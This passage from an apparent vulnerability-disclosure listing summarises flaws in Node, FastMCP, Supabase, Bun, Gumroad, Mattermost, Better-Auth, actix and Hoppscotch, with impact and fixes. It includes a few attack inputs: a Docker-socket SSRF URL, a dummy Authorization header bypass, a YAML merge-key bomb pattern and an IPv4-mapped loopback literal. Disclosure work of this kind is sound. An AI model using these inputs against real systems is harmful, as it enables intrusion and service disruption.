is meant to provide and enables SSRF-to-local-RCE style impact against local daemons (e.g., Docker API) while the administrator believes networking is blocked. Impact: SSRF in a web app running with `--permission` lets an attacker supply `http://unix:/var/run/docker.sock:/containers/json` to gain Docker control, spawn containers with host mounts, and achieve host RCE. Access to local secrets daemons (Vault agent sockets, database UDS listeners) is also possible without any `--allow-net` flag. The primary security guarantee of `--permission` is bypassed for UDS, invalidating the threat model for "no network" deployments. Remediation: Enforce permissions on UDS operations by adding `ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS` checks in `src/pipe_wrap.cc` for `Connect` and other UDS entrypoints. Treat the socket path as the resource string, using `permission::PermissionScope::kNet` to validate network access before allowing the connection. ### Authentication bypass on FastMCP custom routes URL: https://winfunc.com/hacktivity/anthropic-fastmcp-auth-bypass Platform: Anthropic Severity: Critical Date: 2025 Original report: https://github.com/modelcontextprotocol/python-sdk/pull/1660 Summary: Broken Access Control in FastMCP custom routes `FastMCP.custom_route()` allows developers to mount arbitrary HTTP handlers intended for sensitive use cases such as OAuth callbacks or admin APIs, but it never applies `RequireAuthMiddleware` even when the server is configured with a token verifier. Only the built-in SSE and StreamableHTTP endpoints are wrapped; custom routes are appended to the Starlette app as-is while Starlette’s `AuthenticationMiddleware` merely records credentials without rejecting unauthenticated requests. As a result any HTTP endpoint registered through `@server.custom_route()` remains publicly accessible despite OAuth or token-based authentication being enabled for the server. Attackers can directly invoke privileged administration handlers over the network without presenting credentials. Impact: Whatever privileged operations the route performs (e.g., issuing OAuth tokens, modifying server state) happen with attacker input. Confidentiality, integrity, and availability of the server are compromised. Remediation: Wrap every custom Starlette route with the same `RequireAuthMiddleware` used for built-in transports whenever a `token_verifier` is configured. This ensures unauthenticated requests never reach developer-provided admin endpoints. ### SQL Injection via queueName in getDatabaseQueuesMetrics URL: https://winfunc.com/hacktivity/supabase-sql-injection-via-queue-names Platform: Supabase Severity: Critical Date: 2025 Original report: https://github.com/supabase/supabase/pull/40290 Summary: SQL Injection via queueName in getDatabaseQueuesMetrics `getDatabaseQueuesMetrics` builds SQL statements with `queueName` interpolated directly into table identifiers and literals. The `queueName` value originates from the route parameter (`/integrations/queues/queues/:queueName`) which is attacker-controllable. No validation or quoting is applied before the SQL is sent to `executeSql`, allowing crafted queue names to break out of the identifier context and execute arbitrary SQL statements against the project database. Impact: Arbitrary SQL execution, including data exfiltration, table deletion, privilege escalation, or extension installation. Remediation: Sanitize SQL identifiers: Introduce reusable helpers (`formatQueueTableIdentifier`, `formatQueueLiteral`) to safely quote queue names/body data. Refactor queries: Replace string interpolation with helper functions to prevent injection across all PGMQ operations. ### Exponential merge keys in Bun's YAML implementation leads to DoS URL: https://winfunc.com/hacktivity/bun-yaml-dos Platform: Bun Severity: High Date: 2025 Original report: https://github.com/oven-sh/bun/pull/24729 Summary: Exponential merge keys in `Bun.YAML.parse` trigger CPU exhaustion `Bun.YAML.parse` materialises YAML mappings by iterating every merge (`<<`) entry and blindly appending the referenced property list to the target object (`src/bun.js/api/YAMLObject.zig:1034-1045`). Because the loop does not track merge depth or repeated anchors, an attacker can craft a document where each level merges all previous anchors (`<<: [*a0, *a1, …]`). The parser repeatedly copies the entire accumulated property array for each level, resulting in exponential work while the payload remains only a few kilobytes. Running the supplied payload against Bun 1.3.0 (`bun --eval …`) shows parse times climbing past 9 seconds on a single CPU core, enabling a trivial network DoS via untrusted YAML input. Impact: Repeated requests allow an unauthenticated attacker to peg a CPU core and starve other work, causing a denial of service. Memory usage also spikes due to repeated property duplication. Remediation: Deduplicate merge keys while tracking merge depth or anchor references so each YAML node is materialised at most once. The patch under review introduces a `MappingProps` helper (`src/interchange/yaml.zig:986-1041`) that: 1. Keeps a set of seen keys when applying merges, preventing unbounded duplication. 2. Reuses existing `properties` lists instead of copying them repeatedly. Ensure similar safeguards exist for both flow and block mappings, and add unit tests (e.g., `test/js/bun/yaml/yaml.test.ts`) that parse the PoC payload with a tight timeout to prevent regressions. Consider also rejecting documents that exceed a reasonable merge depth or property count to provide a defense in depth. ### 0-click Account Takeover and Admin Operations via helper endpoint authorization bypass URL: https://winfunc.com/hacktivity/gumroad-helper-auth-bypass-ato Platform: Gumroad Severity: Critical Date: 2025 Original report: https://github.com/antiwork/gumroad/pull/2098 Summary: Broken Access Control allows unauthenticated email updates via Helper API The helper endpoint responsible for updating user email addresses performs a sensitive account mutation without performing any authentication or authorization beyond confirming that an `Authorization` header exists. `Api::Internal::Helper::BaseController#verify_authorization_header!` only checks for the header’s presence and does not enforce a signature, token, or identity check unless an action explicitly invokes `authorize_hmac_signature!` or `authorize_helper_token!`. The `UsersController` never calls either method, leaving `POST /api/internal/helper/users/update_email` callable by any unauthenticated client that supplies an arbitrary header (e.g., `Authorization: foo`). An attacker can submit `current_email` and `new_email` parameters for any account, causing the controller to look up the target user via `User.alive.by_email` and set `user.email = params[:new_email]` with no ownership verification. Persisting the change allows the attacker to initiate password resets to the new email address, effectively taking over the victim’s account. This is a direct broken access control vulnerability with high impact on account integrity and confidentiality. Impact: Full account takeover, access to private sales data, payout redirection, customer records, and ability to impersonate the victim. Attack is remote, unauthenticated, and repeatable. Remediation: Sensitive helper endpoints must require a verifiable credential. The preferred control is the helper token/HMAC checks already implemented but unused in `UsersController`. Applying `authorize_helper_token!` (or HMAC) to write actions ensures only trusted Helper tooling can mutate user data. ### Remote cluster PATCH response leaked authentication tokens (CVE-2026-7184) URL: https://winfunc.com/hacktivity/CVE-2026-7184 Platform: Mattermost Severity: Medium CVE: CVE-2026-7184 Date: 2026-05-18 Original report: https://github.com/mattermost/mattermost/pull/36288 Summary: Remote-cluster PATCH returned the updated model before clearing token fields Mattermost's remote-cluster API already treated `token` and `remote_token` as sensitive fields: list, create, accept, and get handlers called `RemoteCluster.Sanitize()` before serializing objects to clients. The PATCH handler was the missed trust boundary. After decoding a caller-controlled `RemoteClusterPatch` and applying it through `App.PatchRemoteCluster`, `patchRemoteCluster()` wrote `updatedRC` directly to the HTTP response without sanitizing it first. The public advisory [MMSA-2026-00662](https://mattermost.com/security-updates) / [CVE-2026-7184](https://github.com/advisories/GHSA-9p44-r552-4wp9) describes this as a Medium CWE-201 issue affecting Mattermost `11.6.x <= 11.6.1`, `11.5.x <= 11.5.4`, and `10.11.x <= 10.11.15`, with fixed versions `11.7.0`, `11.6.2`, `11.5.5`, and `10.11.17`. The original fix is PR #36288 / commit `bd8fc92226726da06c8fabaef568cc9ebaee1cb8`; release-line backports include #36310, #36311, and #36313. Impact: The direct impact is disclosure of remote-cluster authentication material that should remain server-side. In deployments where those values are accepted by token-authenticated remote-cluster endpoints, the leaked credentials can let the caller impersonate a trusted remote-cluster peer or abuse remote-cluster trust flows. Remediation: Sanitize every remote-cluster object before it crosses an API response or audit boundary. A dedicated public response DTO would further reduce the chance that future handlers accidentally serialize secret-bearing model fields. ### Group syncable scheme_admin authorization bypass (CVE-2026-7387) URL: https://winfunc.com/hacktivity/CVE-2026-7387 Platform: Mattermost Severity: High CVE: CVE-2026-7387 Date: 2026-05-13 Original report: https://github.com/mattermost/mattermost/pull/36316 Summary: Group-syncable link and patch endpoints accepted role-granting scheme_admin changes under weaker link permissions Mattermost group syncables let LDAP groups be linked to teams or channels and can optionally mark synchronized group members as scheme admins. Before the fix, `linkGroupSyncable()` and `patchGroupSyncable()` decoded `scheme_admin` as ordinary patch data, checked only the permissions needed to link or patch the group syncable, and then persisted the flag. The background sync path later trusted that stored bit and updated team or channel member role state. The public advisory [MMSA-2026-00665](https://mattermost.com/security-updates) / [CVE-2026-7387](https://github.com/advisories/GHSA-6hxm-w4hv-vgvw) describes this as a High CWE-863 issue affecting Mattermost `11.6.x <= 11.6.1`, `11.5.x <= 11.5.4`, and `10.11.x <= 10.11.16`, with fixed versions `11.7.0`, `11.6.2`, `11.5.5`, `10.11.16`, and `10.11.17`. The original fix is PR #36316 / commit `8c72083414e675c97987374395e36d1f36b4bd8a`; release-line backports include #36431, #36432, and #36434. Impact: The vulnerability bypasses Mattermost's intended role-management authorization boundary. A caller who should only manage group-sync configuration can cause synchronized group members to become team or channel admins, potentially granting membership management, settings changes, and other administrative abilities in the affected scope. Remediation: Treat `scheme_admin` as role-granting state, not ordinary syncable metadata. Link and patch handlers must reject any explicit `SchemeAdmin` value unless the caller holds `manage_team_roles`, `manage_channel_roles`, or the sysconsole groups-management override. Preserve omitted `SchemeAdmin` values so ordinary `auto_add` edits continue to work without demoting existing direct admins. ### mmctl terminal escape injection via unsanitized server-controlled output (CVE-2026-3108) URL: https://winfunc.com/hacktivity/CVE-2026-3108 Platform: Mattermost Severity: High CVE: CVE-2026-3108 Date: 2026 Original report: https://github.com/mattermost/mattermost/pull/35191 Summary: mmctl rendered user-controlled Mattermost content to administrator terminals without stripping ANSI, OSC, DCS, or other control sequences Mattermost's `mmctl` plain-text output path accumulated values from API responses and templates in `printer.Lines`, then wrote each line directly to stdout in `Printer.linesToBytes`. The report-posts command also bypassed the printer and wrote `post.Message` directly with `fmt.Fprintf(os.Stdout, ...)`. Because post messages and many other displayed fields can be controlled by ordinary users on the server being administered, a malicious value containing ANSI CSI sequences or OSC sequences could be replayed into an administrator's terminal when they inspected data with `mmctl`. The root cause was a missing terminal-output trust boundary: the CLI treated server data as display-safe text. The fix added `printer.SanitizeForTerminal`, applied it to the central plain-output sink in `linesToBytes`, and separately sanitized the direct `report` command message print. The original fix is PR #35191 / commit `22e4e9c171dcf9b447a56c7d9a45e5714fb24536`; release-line backports include #35208, #35276, #35334, and #35335. Impact: The bug crosses the trust boundary between untrusted server data and the administrator's local terminal. Depending on terminal behavior, payloads can alter terminal state, hide or rewrite displayed output, set misleading prompts or window titles, or abuse OSC features such as clipboard writes. This is not server-side code execution, but it is a high-impact operator-side terminal injection primitive against privileged users. Remediation: Treat all Mattermost server data as untrusted when rendering to an administrator terminal. Strip ANSI/OSC/DCS/control sequences at the central printer sink, and sanitize any command that bypasses that sink and writes directly to stdout. ### Zip bomb memory exhaustion in recursive document extraction (CVE-2026-3114) URL: https://winfunc.com/hacktivity/CVE-2026-3114 Platform: Mattermost Severity: Medium CVE: CVE-2026-3114 Date: 2026 Original report: https://github.com/mattermost/mattermost/pull/35200 Summary: Archive extraction limited compressed upload size but not decompressed entry size Mattermost enforces `FileSettings.MaxFileSize` on uploaded files, but the document extraction service previously did not apply that same limit to each decompressed archive entry. When file-content extraction and archive recursion were enabled, `archiveExtractor.Extract` mounted an uploaded archive, walked entries with `fs.WalkDir`, opened each entry, and called `io.ReadAll(file)` before handing the decompressed bytes to sub-extractors. A small compressed archive could therefore expand into very large in-memory entry data and exhaust server memory during content extraction. The fix threads `MaxFileSize` through `docextractor.ExtractSettings` and the `Extractor` interface, passes the configured file-size limit from `App.ExtractContentFromFileInfo`, and wraps archive entry readers with `utils.NewLimitedReaderWithError` before `io.ReadAll`. The original fix is PR #35200 / commit `b947f1c38a675688c5fc9ade696d0f0f2bad430a`; backports include #35220, #35279, and #35282. Impact: A small authenticated upload can cause disproportionate server memory allocation during content extraction. Repeated uploads or a sufficiently large decompressed entry can exhaust memory, destabilize extraction workers, and degrade or crash the Mattermost process. Remediation: Propagate the configured file-size limit into the archive extraction layer and apply it to decompressed entries before reading them into memory. Upload-size checks are not enough because compressed size and decompressed entry size are different trust boundaries. ### Group member IDs leaked because GetGroup bypassed view restrictions (CVE-2026-3115) URL: https://winfunc.com/hacktivity/CVE-2026-3115 Platform: Mattermost Severity: Medium CVE: CVE-2026-3115 Date: 2026 Original report: https://github.com/mattermost/mattermost/pull/35172 Summary: Group member ID expansion ignored the caller's ViewUsersRestrictions The `GET /api/v4/groups/{group_id}` handler computed `ViewUsersRestrictions` for the session user and passed those restrictions into `App.GetGroup`. `GetGroup` correctly applied restrictions when returning `IncludeMemberCount`, but when `IncludeMemberIDs` was requested it called `Store().Group().GetMemberUsers(id)`, a raw unpaginated store method with no restrictions parameter. Guests or restricted users could therefore request a group with `include_member_ids=true` and receive member user IDs outside the teams or channels they were allowed to see. The fix changes the member-ID expansion path to page through `GetMemberUsersPage(id, page, perPage, viewRestrictions)`, which applies `applyViewRestrictionsFilter` in the SQL store. The original fix is PR #35172 / commit `a06d5065e709e26baed531a528d4b9950f26e3ea`; backports include #35209, #35277, and #35333. Impact: The vulnerability leaks membership information across Mattermost's user visibility boundary. It does not expose message content, but it reveals user IDs and group membership relationships that restricted users should not be able to enumerate. Remediation: Never expand user IDs for a restricted caller through unrestricted store methods. Use the paginated store APIs that accept `ViewUsersRestrictions`, and apply the same restriction model to counts and member-ID lists. ### mmctl export downloads created world-readable local files (CVE-2026-3113) URL: https://winfunc.com/hacktivity/CVE-2026-3113 Platform: Mattermost Severity: Medium CVE: CVE-2026-3113 Date: 2026 Original report: https://github.com/mattermost/mattermost/pull/35182 Summary: Export files downloaded with mmctl inherited unsafe filesystem permissions `mmctl export download` and related export download flows write potentially sensitive export archives to the administrator's local filesystem. The shared `downloadFile` helper used `os.Create(path)` when the destination did not exist, which creates files with mode `0666` before process umask is applied. On a common `022` umask, the resulting export file is `0644` and readable by other local users. When the destination already existed but was empty, `os.OpenFile(path, os.O_WRONLY, 0600)` did not change existing permissions, so a pre-created permissive file remained permissive. The fix creates new files with `os.OpenFile(path, os.O_WRONLY|os.O_CREATE, 0600)` and explicitly `os.Chmod(path, 0600)` before opening existing empty files. The original fix is PR #35182 / commit `6cd2df33ea12f9aeae4c68994b72656425168b67`; backports include #35244, #35246, #35247, and #35248. Impact: The server-side export permission model can be bypassed at rest on the operator's local machine. Sensitive export data that only an administrator should access may become readable by other local users or processes. Remediation: Create sensitive download files with explicit owner-only permissions, and normalize permissions on existing empty files before writing. Do not rely on process umask or the mode argument to `os.OpenFile` when the file already exists. ### Private channel enumeration through /mute error messages (CVE-2026-21386) URL: https://winfunc.com/hacktivity/CVE-2026-21386 Platform: Mattermost Severity: Medium CVE: CVE-2026-21386 Date: 2026 Original report: https://github.com/mattermost/mattermost/pull/35099 Summary: `/mute` exposed whether a private channel existed by returning a distinct not-member error The `/mute` slash command accepts an optional channel handle, strips the leading `~`, and looks up the named channel with `Store().Channel().GetByName(channel.TeamId, channelName, true)`. That lookup can resolve a private channel by name even when the caller is not a member. If the channel does not exist, the handler returns `api.command_mute.error`; if it exists but `ToggleMuteChannel` fails because the caller is not a member, the handler returned `api.command_mute.not_member.error`. Those two responses gave authenticated users a yes/no oracle for private channel names. The fix keeps the behavior but normalizes the not-member path to the same generic error used for nonexistent channels, and removes the now-unused translation. The original fix is PR #35099 / commit `5bb5261c72faa476558a694c23581d24b734da41`; backports include #35145, #35147, #35148, and #35149. Impact: The issue leaks the existence of private channels and their names. It does not expose channel messages, but private channel names often reveal incident, customer, project, or organizational information. Remediation: Do not expose authorization failures and object-not-found failures as distinguishable messages where object existence is sensitive. Normalize the `ToggleMuteChannel` failure path to the same generic error used for missing channels. ### Oversized password login DoS in legacy password comparison (CVE-2026-24458) URL: https://winfunc.com/hacktivity/CVE-2026-24458 Platform: Mattermost Severity: High CVE: CVE-2026-24458 Date: 2026 Original report: https://github.com/mattermost/mattermost/pull/35092 Summary: Login password comparison paths accepted attacker-supplied passwords without enforcing the maximum password length first Mattermost validates password length when passwords are created or changed, but affected login comparison paths did not consistently apply the same maximum-length guard before invoking password verification. In modern 11.x branches, `App.checkUserPassword` parses the stored hash and dispatches to the matching hasher. PBKDF2 already enforced `PasswordMaxLengthBytes`, but the legacy bcrypt hasher's `CompareHashAndPassword` did not check input length before calling `bcrypt.CompareHashAndPassword`. In the 10.11 line, the older `users.ComparePassword` helper similarly called `bcrypt.CompareHashAndPassword` before checking `model.PasswordMaximumLength`. The fix adds explicit maximum-length checks in the comparison path before expensive password verification is attempted: PR #35092 / commit `7201f42d955f1bc44719b862132546626b60a180` for the 11.x legacy hasher path, with backports #35117, #35126, and #35127; and PR #35062 / commit `0655a633546037107a1e0f3243c542fbaea0901f` for the 10.11 comparison helper. Impact: Oversized login attempts can impose disproportionate work on the server's authentication path, resulting in denial of service for legitimate login attempts. The fix makes oversized values fail closed before hash comparison. Remediation: Apply password length validation before any password verification primitive, including legacy-hash comparison paths and release-line helper functions. Keep the limit enforcement close to the comparison function so every caller gets the fail-fast behavior. ### User-Agent version parser panic during session creation (CVE-2026-25783) URL: https://winfunc.com/hacktivity/CVE-2026-25783 Platform: Mattermost Severity: Medium CVE: CVE-2026-25783 Date: 2026 Original report: https://github.com/mattermost/mattermost/pull/35098 Summary: Malformed Mattermost-specific User-Agent prefixes could panic `getBrowserVersion` `DoLogin` parses the HTTP `User-Agent` header while creating a session and stores platform, OS, browser name, and browser version on the session. The version helper looked for Mattermost-specific prefixes such as `Mattermost Mobile/`, `Mattermost/`, `mmctl/`, and `Franz/`, then immediately returned `strings.Fields(afterVersion)[0]`. If the header ended at the prefix or contained only whitespace after it, `strings.Fields` returned an empty slice and the `[0]` index panicked. This is not reached before authentication in the normal password login flow: `login` calls `AuthenticateUserForLogin` first, then `DoLogin`. A malicious client needs a way to complete session creation, such as a valid account or an enabled registration/login flow. The fix centralizes prefixes in `versionPrefixes`, checks `len(fields) > 0` before indexing, and falls back to the parsed user-agent version. The original fix is PR #35098 / commit `1346cf529aef0672c39a56ec10d1b8a9c8fb387d`; backports include #35124, #35131, #35132, and #35133. Impact: Repeated successful login attempts with malformed User-Agent headers can generate panics and degrade availability of login/session creation. The blast radius is bounded by the requirement to reach `DoLogin`, but the missing bounds check is a server-side panic on attacker-controlled input. Remediation: Never index parsed tokens from attacker-controlled headers before checking length. Centralizing known prefixes also reduces the chance of adding a future prefix with the same unchecked indexing bug. ### SSRF protection bypass via IPv4-mapped IPv6 literals (CVE-2026-2455) URL: https://winfunc.com/hacktivity/CVE-2026-2455 Platform: Mattermost Severity: Medium CVE: CVE-2026-2455 Date: 2026 Original report: https://github.com/mattermost/mattermost/pull/35097 Summary: IPv4-mapped IPv6 addresses were not canonicalized before reserved-range checks Mattermost's shared HTTP service protects untrusted outbound requests by resolving the target host and passing each IP through `allowIP`, which calls `IsReservedIP` and `IsOwnIP`. `IsReservedIP` contained IPv4 private, loopback, and link-local CIDRs, but it compared the raw `net.IP` value directly against those ranges. For an address such as `::ffff:127.0.0.1`, Go represents the value as an IPv4-mapped IPv6 address. Without canonicalization, the intended IPv4 reserved ranges could be bypassed and the request could be allowed even though the effective target is loopback or another internal IPv4 address. The fix calls `ip.To4()` at the start of `IsReservedIP` and, when it returns non-nil, compares the canonical native IPv4 bytes against the reserved ranges. The original fix is PR #35097 / commit `5d787969c2d5ab591a9dcd61b0810475eed7a646`; backports include #35122, #35128, #35129, and #35130. Impact: The bypass can expose internal-only services reachable from the Mattermost server, including loopback services, RFC1918 resources, or cloud metadata endpoints, through any feature that returns or processes fetched metadata. The practical data exposure depends on the specific URL-fetching feature and response handling. Remediation: Canonicalize IP addresses before applying reserved-range logic. In Go, `net.IP.To4()` returns the effective IPv4 bytes for IPv4 and IPv4-mapped IPv6 addresses, allowing existing IPv4 CIDRs to match correctly. ### Multi-session sign-out hook allows forged cookies to revoke arbitrary sessions URL: https://winfunc.com/hacktivity/better-auth-multi-session-signout-ato Platform: Better-Auth Severity: Medium Date: 2025 Original report: https://github.com/better-auth/better-auth/security/advisories/GHSA-wmjr-v86c-m9jj Summary: Multi-session sign-out hook allows forged cookies to revoke arbitrary sessions The `multiSession` plugin's `/sign-out` after-hook (`packages/better-auth/src/plugins/multi-session/index.ts`) blindly trusts every cookie whose name matches the `_multi-` pattern. The handler splits the first segment of each raw cookie value and forwards the resulting strings to `ctx.context.internalAdapter.deleteSessions(...)` without ever calling `ctx.getSignedCookie` or verifying an HMAC. Because the Cookie header is entirely attacker-controlled, any authenticated user who learns another account's plain session token (via logs, backups, or database reads) can forge a `_multi-` cookie, send it alongside their own session cookie, and coerce the hook into deleting the victim's session. No signing secret or adapter credentials are required; the only prerequisite is knowledge of the token bytes. **Status**: Reproduced locally with Bun 1.3.0 using the exploit PoC below, which selects the correct `/sign-out` after-hook and demonstrates the forged-cookie flow against the current head of `canary`. Impact: The victim is forcibly logged out and cannot refresh their session until they authenticate again. Attackers can iterate over every token they harvest, achieving cross-account denial of service and undermining authorization guarantees for all tenants using the plugin. Remediation: 1. Added `extractVerifiedMultiSessionTokens` helper to verify cookie signatures before generating the session token list. 2. Updated the `/sign-out` after-hook to leverage the helper and short-circuit when no verified tokens exist. 3. Introduced regression tests. ### HTTP/1.1 CL.TE request smuggling in actix-http (GHSA-xhj4-vrgc-hr34) URL: https://winfunc.com/hacktivity/GHSA-xhj4-vrgc-hr34 Platform: Actix Severity: Medium Date: 2026 Original report: https://github.com/actix/actix-web/commit/3c056bd36128d41ba130a8704ef5d648de3f2870 Summary: actix-http accepted conflicting Content-Length and Transfer-Encoding: chunked request framing The HTTP/1.1 request parser in `actix-http` accepted requests containing both `Content-Length` and `Transfer-Encoding: chunked`. During header conversion, `MessageType::set_headers` recorded the content length and also marked the message as chunked. The payload selection logic then preferred the chunked decoder whenever `chunked` was true, instead of rejecting the conflicting framing. In a CL.TE deployment, an upstream proxy can frame the request using `Content-Length` while forwarding the ambiguous request to an Actix backend that frames it as chunked. When the backend stops at the terminating chunk marker on a reused HTTP/1.1 connection, trailing bytes can be parsed as a second backend request. The fix, released in [`actix-http` 3.12.1](https://github.com/actix/actix-web/releases/tag/http-v3.12.1), rejects HTTP/1 requests with `Transfer-Encoding` when HTTP/1.0 is used, when the transfer encoding is not chunked, or when `Content-Length` is also present. The GitHub advisory is [GHSA-xhj4-vrgc-hr34](https://github.com/advisories/GHSA-xhj4-vrgc-hr34); the security change is [commit `3c056bd36128d41ba130a8704ef5d648de3f2870`](https://github.com/actix/actix-web/commit/3c056bd36128d41ba130a8704ef5d648de3f2870), and the release prep is [commit `0fb89457eda4a78a4cb7ccb3fdebe49a143ce2d5`](https://github.com/actix/actix-web/commit/0fb89457eda4a78a4cb7ccb3fdebe49a143ce2d5). Impact: The bug creates a backend request desynchronization primitive. In affected proxy deployments, an attacker can influence the integrity of requests processed by the Actix service behind the intermediary. The advisory scores no direct vulnerable-system confidentiality or availability impact, but the practical effect depends on how the frontend and backend route, authenticate, and reuse the desynchronized connection. Remediation: Upgrade to `actix-http` 3.12.1 or later. If an immediate upgrade is not possible, configure upstream HTTP intermediaries to reject any HTTP/1.1 request containing both `Content-Length` and `Transfer-Encoding`, and avoid forwarding ambiguous request framing to Actix backends. ### Hoppscotch CLI sandbox escape through Node vm pre-request scripts (CVE-2024-34347) URL: https://winfunc.com/hacktivity/CVE-2024-34347 Platform: Hoppscotch Severity: High CVE: CVE-2024-34347 Date: 2024 Original report: https://github.com/hoppscotch/hoppscotch/pull/3973 Summary: Hoppscotch CLI ran collection scripts in Node's vm while exposing host-created objects Hoppscotch CLI executes collection-supplied pre-request and test scripts while running `hopp test`. Unlike the web and desktop clients, the CLI could not rely on browser Web Workers and used the Node.js `vm` module through `@hoppscotch/js-sandbox`. The sandbox created a `vm` context, then injected host-created objects such as `pw`, `atob`, and `btoa` into that context before calling `runInContext` on attacker-controlled collection script text. Node's `vm` module is not a security boundary for untrusted JavaScript, especially when code inside the context can reach references to objects created outside the context. A malicious collection script could use the exposed `pw` object to recover the host global object and load `child_process`, gaining command execution on the machine running Hoppscotch CLI. The GitHub advisory is [GHSA-qmmm-73r2-f8xr / CVE-2024-34347](https://github.com/advisories/GHSA-qmmm-73r2-f8xr). The fix, merged in [PR #3973](https://github.com/hoppscotch/hoppscotch/pull/3973) as [commit `22c6eabd133195d22874250a5ae40cb26b851b01`](https://github.com/hoppscotch/hoppscotch/commit/22c6eabd133195d22874250a5ae40cb26b851b01), removed the Node `vm` implementation and replaced it with an `isolated-vm` based Node sandbox. The patched npm release for `@hoppscotch/cli` is 0.8.0. Impact: Successful exploitation gives arbitrary command execution on the victim's machine. The attacker can read or modify local files, exfiltrate secrets available to the CLI process, run additional payloads, and pivot through any credentials or network access available to that user. Remediation: Upgrade `@hoppscotch/cli` to 0.8.0 or later. Do not use Node's `vm` module as a security sandbox for untrusted collection scripts. If scripting cannot be isolated safely, disable scripting by default or require an explicit opt-in for untrusted CLI runs.